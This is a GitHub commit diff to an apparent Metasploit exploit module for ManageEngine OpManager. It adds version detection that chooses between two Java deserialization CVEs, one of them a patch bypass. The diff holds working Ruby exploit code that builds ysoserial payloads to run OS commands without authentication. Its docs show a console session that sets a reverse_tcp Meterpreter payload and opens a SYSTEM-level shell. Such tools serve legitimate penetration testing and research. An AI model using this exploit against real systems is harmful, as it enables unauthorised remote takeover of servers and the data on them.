Skip to content

Commit

Permalink
Add automatic targeting for the CVEs
Browse files Browse the repository at this point in the history
  • Loading branch information
zeroSteiner committed Sep 16, 2021
1 parent 9f971e8 commit fd0f565
Show file tree
Hide file tree
Showing 2 changed files with 81 additions and 24 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,28 @@ An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager compon
arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of
the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other
products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 -
12.5.232.
12.5.328.

#### CVE-2020-28653
This vulnerability affects OpManager versions 12.1 - 12.5.232. The vulnerability involves sending a malicious PDU to the
SmartUpdateManager handler that when deserialized executes an arbitary OS command.

#### CVE-2021-3287
This vulnerability is a patch bypass for CVE-2020-28653 and affects OpManger versions 12.5.233 - 12.5.328. When the
original vulnerability was patched, it was done so using a new `ITOMObjectInputStream` deserializer class. This object
has a flaw in it's validation logic. The object works by requiring the caller to specify a list of one or more object
classes that can be deserialized. If an instance is used to perform more than one `readObject` call however, only the
first is protected because once a serialized object of an allowed type is read from the stream, the
`ITOMObjectInputStream` instance remains in a sort of authenticated state where subsequent objects can be read of any
type.

The exploit technique for this CVE leverages this by first sending a legitimate, serialized SUMPDU to create an instance
of the `SUMServerIOAndDataAnalyzer` object whose `process` method makes multiple `readObject` calls using the same
instance for each.

Unlike exploiting CVE-2020-28653, to exploit CVE-2021-3287 the target server must have the SUM server running. This is
not the case for the standard installer, but is the case for "Central" variant. Without the SUM server running, the log
handler is not initialized which causes the request handler to crash making the vulnerable code path inaccessible.

### Setup (Windows)

Expand Down Expand Up @@ -47,44 +68,49 @@ AUTHORITY\SYSTEM.

## Options

### CVE
Vulnerability to use. If set to 'Automatic' (the default), the module will attempt to detect the version and select the
correct vulnerability.

## Scenarios

### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.174
### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.328

```
msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell
TARGET => Windows PowerShell
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check
[*] 192.168.159.10:8060 - The target appears to be vulnerable.
[*] 192.168.159.96:8060 - The target appears to be vulnerable.
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] An HTTP session cookie has been issued
[*] Detected version: 12.5.328
[*] The request handler has been associated with the HTTP session
[*] Sending stage (200262 bytes) to 192.168.159.10
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:50295) at 2021-09-13 16:31:45 -0400
[*] Sending stage (200262 bytes) to 192.168.159.96
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.96:63887) at 2021-09-16 14:06:27 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Server username: MSFLAB\smcintyre
meterpreter > sysinfo
Computer : WIN-3MSP8K2LCGC
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 7
Logged On Users : 9
Meterpreter : x64/windows
meterpreter >
meterpreter >
```

[0]: https://archives.manageengine.com/opmanager/
55 changes: 43 additions & 12 deletions modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ def initialize(info = {})
deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS
commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This
vulnerability is also present in other products that are built on top of the OpManager application. This
vulnerability affects OpManager versions 12.1 - 12.5.232.
vulnerability affects OpManager versions 12.1 - 12.5.328.
},
'Author' => [
'Johannes Moritz', # Original Vulnerability Research
Expand Down Expand Up @@ -122,7 +122,8 @@ def initialize(info = {})
)

register_options([
OptString.new('TARGETURI', [ true, 'OpManager path', '/'])
OptString.new('TARGETURI', [ true, 'OpManager path', '/']),
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'Automatic', [ 'Automatic', 'CVE-2020-28653', 'CVE-2021-3287' ] ])
])
end

Expand All @@ -136,7 +137,7 @@ def check
# the patched version will respond back with 200 OK and no data in the response body
return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b)

Exploit::CheckCode::Appears
Exploit::CheckCode::Detected
end

def exploit
Expand All @@ -149,6 +150,24 @@ def exploit
fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session')
end
print_status('An HTTP session cookie has been issued')
if (@vulnerability = datastore['CVE']) == 'Automatic'
# if selecting the vulnerability automatically, use version detection
if (version = res.body[%r{(?<=cachestart/)(\d{6})(?=/cacheend)}]&.to_i).nil?
fail_with(Failure::UnexpectedReply, 'Could not identify the remote version number')
end

version = Rex::Version.new("#{version / 10000}.#{(version % 10000) / 1000}.#{version % 1000}")
print_status("Detected version: #{version}")
if version < Rex::Version.new('12.1')
fail_with(Failure::NotVulnerable, 'Versions < 12.1 are not affected by the vulnerability')
elsif version < Rex::Version.new('12.5.233')
@vulnerability = 'CVE-2020-28653'
elsif version < Rex::Version.new('12.5.329')
@vulnerability = 'CVE-2021-3287'
else
fail_with(Failure::NotVulnerable, 'Versions > 12.5.328 are not affected by this vulnerability')
end
end

# Step 2: Add the requestHandler to the HTTP session
res = send_request_cgi({
Expand All @@ -162,7 +181,11 @@ def exploit
end
print_status('The request handler has been associated with the HTTP session')

send_sumpdu(build_sumpdu(data: build_java_serialized_int(0)))
if @vulnerability == 'CVE-2021-3287'
# need to send an OPEN_SESSION request to the SUM PDU handler so the SUMServerIOAndDataAnalyzer object is
# initialized and made ready to process subsequent requests
send_sumpdu(build_sumpdu(data: build_java_serialized_int(0)))
end

# Step 3: Exploit the deserialization vulnerability to run commands
case target['Type']
Expand Down Expand Up @@ -232,15 +255,23 @@ def execute_command(cmd, _opts = {})
# dependency on the commons-collections library making it usable in this context
java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd)

pdu_data = build_java_serialized_int(2)
pdu_data << JAVA_SERIALIZED_STRING
pdu_data << JAVA_SERIALIZED_STRING
pdu_data << JAVA_SERIALIZED_STRING
pdu_data << JAVA_SERIALIZED_STRING_ARRAY
pdu_data << Serialization::TC_RESET
pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b)
if @vulnerability == 'CVE-2020-28653'
# in this version, the SUM PDU that is deserialized is the malicious object
sum_pdu = java_payload
elsif @vulnerability == 'CVE-2021-3287'
# the patch bypass exploits a flaw in the ITOMObjectInputStream where it can be put into a state that allows
# arbitrary objects to be deserialized by first sending an object of the expected type
pdu_data = build_java_serialized_int(2) # 2 is some kind of control code necessary to execute the desired code path
pdu_data << JAVA_SERIALIZED_STRING
pdu_data << JAVA_SERIALIZED_STRING
pdu_data << JAVA_SERIALIZED_STRING
pdu_data << JAVA_SERIALIZED_STRING_ARRAY
pdu_data << Serialization::TC_RESET
pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b)
sum_pdu = build_sumpdu(data: pdu_data)
end

res = send_sumpdu(build_sumpdu(data: pdu_data))
res = send_sumpdu(sum_pdu)
fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200
end
end

0 comments on commit fd0f565

Please sign in to comment.